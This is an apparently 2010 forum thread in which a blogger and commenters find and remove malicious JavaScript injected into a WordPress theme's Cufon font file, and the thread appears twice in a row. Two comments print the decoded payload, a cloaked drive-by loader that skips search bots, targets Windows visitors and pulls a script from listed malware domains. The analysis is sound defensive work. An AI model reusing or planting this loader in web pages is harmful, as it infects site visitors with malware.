3 ms·

is anyone else getting a virus fishing attack warning on this link?

jasonlbaptiste 16y ago
Update: The .js file had an unescaped string in it. I just updated to this new design/theme a week ago. I removed the unescaped part and all should be fine now. I'm on mediatemple btw.
- mcargian 16y ago
  From AVG: wp_content/themes/LightBright/js/League_Gothic_400.font.js Exploit link to exploit site edit: FF 3.6.8 on Windows - AVG 9
  - jasonlbaptiste 16y ago
    browser? os? someone said this on twitter to ericries after he retweeted another article of mine. I looked this weekend/had others ask if they got a warning. Everyone said it was fine. Looking at the .js file now (its some cufon thing) and the source of the post as well. It's part of what im using with elegantthemes. Update: http://pastebin.com/UNijfWPu http://pastebin.com/UNijfWPu is everything contained in the file mentioned (League_Gothic_400.font.js)
    - handelaar 16y ago
      Virus warning specifically suggests the Cufon font file contains a link to a compromised site.
    - jacquesm 16y ago
      Here is the unescaped version of what it is doing: <script>var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };</script>
    - fragmede 16y ago
      Is that link off the server directly or via a webserver? edit:Searching for 'emapis.org' (from jacquesm's comment) gets me http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre... in Google. It's old, but I suspect something similar at work.
      - jasonlbaptiste 16y ago
        webserver directly. let me see if elegantthemes has updated it. im trying to get rid of the junk that when unescaped has the problem.
    - colonelxc 16y ago
      I bet it is emapis. org, see: http://www.urlvoid.com/scan/emapis.org http://www.urlvoid.com/scan/emapis.org As the unescaped javascript shows, it's a random chance for different sites, so it might be somewhat hard to reproduce. So far I haven't been able to pull a mootools.js from those sites to see it. Edit: the js I'm getting back is just (function(){var error = 404;})(); Also, with regards to your site, here is the google safebrowse: http://www.google.com/safebrowsing/diagnostic?site=jasonlbaptiste.com http://www.google.com/safebrowsing/diagnostic?site=jasonlbap... It shows that you also had stuff going to smartenergymodel[.]com, which is also listed on that unmaskparasites link that everyone is passing around.
      - jasonlbaptiste 16y ago
        yeah, dealt with the smartenergymodel thing. Google hasn't updated that yet. this seems to be related to a lot of Mediatemple happenings.
    - ihumanable 16y ago
      There is an exploit in the first line. document.write(unescape(...giberrish...)) That writes a script tag into the document with the following payload: var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); }; I'm thinking that this is malicious (a cursory search for emapis.org shows it to be a malware site) I'm not super familiar with cufon but this does not appear to be kosher. Here is a link that may prove useful http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre...
anonymousDan 16y ago
Ya, something weird happens when I open the site, my computer starts making lots of beeping sounds and tries to run something in windows media player.

Update: The .js file had an unescaped string in it. I just updated to this new design/theme a week ago. I removed the unescaped part and all should be fine now. I'm on mediatemple btw.

mcargian 16y ago
From AVG: wp_content/themes/LightBright/js/League_Gothic_400.font.js Exploit link to exploit site edit: FF 3.6.8 on Windows - AVG 9
- jasonlbaptiste 16y ago
  browser? os? someone said this on twitter to ericries after he retweeted another article of mine. I looked this weekend/had others ask if they got a warning. Everyone said it was fine. Looking at the .js file now (its some cufon thing) and the source of the post as well. It's part of what im using with elegantthemes. Update: http://pastebin.com/UNijfWPu http://pastebin.com/UNijfWPu is everything contained in the file mentioned (League_Gothic_400.font.js)
  - handelaar 16y ago
    Virus warning specifically suggests the Cufon font file contains a link to a compromised site.
  - jacquesm 16y ago
    Here is the unescaped version of what it is doing: <script>var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };</script>
  - fragmede 16y ago
    Is that link off the server directly or via a webserver? edit:Searching for 'emapis.org' (from jacquesm's comment) gets me http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre... in Google. It's old, but I suspect something similar at work.
    - jasonlbaptiste 16y ago
      webserver directly. let me see if elegantthemes has updated it. im trying to get rid of the junk that when unescaped has the problem.
  - colonelxc 16y ago
    I bet it is emapis. org, see: http://www.urlvoid.com/scan/emapis.org http://www.urlvoid.com/scan/emapis.org As the unescaped javascript shows, it's a random chance for different sites, so it might be somewhat hard to reproduce. So far I haven't been able to pull a mootools.js from those sites to see it. Edit: the js I'm getting back is just (function(){var error = 404;})(); Also, with regards to your site, here is the google safebrowse: http://www.google.com/safebrowsing/diagnostic?site=jasonlbaptiste.com http://www.google.com/safebrowsing/diagnostic?site=jasonlbap... It shows that you also had stuff going to smartenergymodel[.]com, which is also listed on that unmaskparasites link that everyone is passing around.
    - jasonlbaptiste 16y ago
      yeah, dealt with the smartenergymodel thing. Google hasn't updated that yet. this seems to be related to a lot of Mediatemple happenings.
  - ihumanable 16y ago
    There is an exploit in the first line. document.write(unescape(...giberrish...)) That writes a script tag into the document with the following payload: var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); }; I'm thinking that this is malicious (a cursory search for emapis.org shows it to be a malware site) I'm not super familiar with cufon but this does not appear to be kosher. Here is a link that may prove useful http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre...

anonymousDan 16y ago

Ya, something weird happens when I open the site, my computer starts making lots of beeping sounds and tries to run something in windows media player.